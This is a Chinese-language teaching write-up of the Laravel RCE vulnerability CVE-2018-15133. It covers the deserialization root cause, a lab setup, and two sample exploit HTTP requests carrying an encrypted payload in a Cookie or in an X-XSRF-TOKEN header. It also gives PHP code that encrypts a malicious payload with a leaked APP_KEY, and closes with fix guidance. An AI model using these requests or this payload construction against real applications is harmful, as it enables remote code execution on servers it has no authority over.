Laravel框架RCE分析(CVE-2018-15133)
字数 1400 2025-08-26 22:11:22
Laravel框架RCE漏洞分析(CVE-2018-15133)教学文档
漏洞概述
CVE-2018-15133是Laravel框架中的一个远程代码执行(RCE)漏洞,当应用程序密钥(APP_KEY)泄露时,攻击者可以利用该漏洞在目标服务器上执行任意代码。该漏洞影响版本为:
- 5.5.x <= 5.5.40
- 5.6.x <= 5.6.29
漏洞原理
漏洞存在于Laravel框架的Cookie加密和CSRF令牌验证机制中。当Laravel接收到POST请求时,会依次调用多个中间件的handle方法进行处理。其中两个关键中间件存在安全隐患:
App\Http\Middleware\EncryptCookies- 处理Cookie加密App\Http\Middleware\VerifyCsrfToken- 验证CSRF令牌
这两个中间件会对请求中的特定字段进行解密和反序列化操作。如果攻击者能够获取到应用程序的APP_KEY,就可以构造恶意的序列化数据,在解密后被反序列化,从而触发远程代码执行。
漏洞触发点
该漏洞可以通过两种方式触发:
- 通过Cookie字段:在请求中添加恶意Cookie,如
Cookie: ATTACK=payload - 通过HTTP Header:在请求头中添加
X-XSRF-TOKEN字段,如X-XSRF-TOKEN: payload
环境搭建
测试环境配置:
- 操作系统:Debian 9
- Web服务器:Apache
- PHP版本:7.2
- Laravel版本:5.6.29
搭建步骤:
composer create-project laravel/laravel laravel5629 --prefer-dist "5.6.0"
cd laravel5629
sed -i -e 's/5.6.\*/5.6.29/g' composer.json
composer update
./artisan key:generate
echo "Route::post('/', function() {return view('welcome');});" >> ./routes/web.php
./artisan serve --host=0.0.0.0
漏洞分析
1. 通过Cookie触发RCE
攻击者可以构造如下请求:
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM; ATTACK=eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
Laravel在处理请求时会:
- 使用APP_KEY解密Cookie中的ATTACK值
- 如果解密成功,将解密后的数据进行反序列化
- 反序列化过程中触发精心构造的POP链,导致RCE
2. 通过HTTP Header触发RCE
攻击者可以构造如下请求:
POST / HTTP/1.1
Host: 0.0.0.0:8000
Cookie: XDEBUG_SESSION=PHPSTORM
X-XSRF-TOKEN: eyJpdiI6ImRhSTdpRkhWTFowVHNtNDMyZW5wWlE9PSIsInZhbHVlIjoiRHRRRXpRNUhkeG8rQ0s0a21qRmpzUHNkZ0lBaFpsVjlvYk1uZmtwOVpRVFZsdmNKSUhMQnJ0UlBWeHhrbElZb0ZaRnRmMjFlbTNSNXRXZGxCeEF2clNvbk5HT2FDZEEwSGVKU2VuUkFSeVhXTUEwVzFUYlRlc2RsWk1scEg3eWRUKzljRHBWQmEzMERRR0gydG4zYURzWEFcL2djUmFDVGJ5M2NMREVvMDhmeEE0dm5FTVJcL3UwZHBsUjhxajBHbFVBaHVRTWRzN3QwNU9XdWdISWZPaklkXC80alpKQjZEMlJTQjdVXC8wZ3BoNXVXWVFRK1NUSVM5OVhkSXRuSXpHZWRMcUJnR0RwVjlLeDNPUHMyNFpMbWJRPT0iLCJtYWMiOiIxM2M3YThiNmI4MWNkZmI1YjNhMGEzZDRjMDdkYTJiY2MyNzZhOWZkYzUwM2NiOTg1MGRiMTk0ZGU1MjhhOWE1In0=
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 0
Laravel在处理请求时会:
- 检查CSRF token
- 如果没有CSRF token,则检查X-XSRF-TOKEN头
- 使用APP_KEY解密X-XSRF-TOKEN值
- 解密成功后反序列化数据
- 反序列化过程中触发RCE
EXP构造
要构造有效的EXP,需要使用Laravel的加密类Illuminate\Encryption\Encrypter的encrypt方法对恶意序列化数据进行加密。基本步骤如下:
- 准备恶意序列化数据(利用已知的Laravel反序列化POP链)
- 使用APP_KEY和加密类对数据进行加密
- 将加密后的数据放入Cookie或X-XSRF-TOKEN头中
示例加密代码(需根据实际情况调整):
use Illuminate\Encryption\Encrypter;
$appKey = '泄露的APP_KEY'; // 必须与目标应用的APP_KEY相同
$encrypter = new Encrypter($appKey, 'AES-256-CBC');
$payload = '恶意序列化数据';
$encrypted = $encrypter->encrypt($payload);
echo $encrypted; // 这就是要放入Cookie或Header的值
漏洞修复
Laravel在5.6.30版本中修复了此漏洞,主要修改包括:
- 在Cookie解析时添加了
static::serialized()参数来禁止反序列化操作 - 对X-XSRF-TOKEN头的处理也做了同样的限制
修复建议:
- 升级到Laravel 5.5.41或5.6.30及以上版本
- 确保APP_KEY安全,不要泄露
- 定期检查应用程序的安全更新
参考链接
- Laravel Remote Code Execution when APP_KEY is leaked
- PoC (CVE-2018-15133)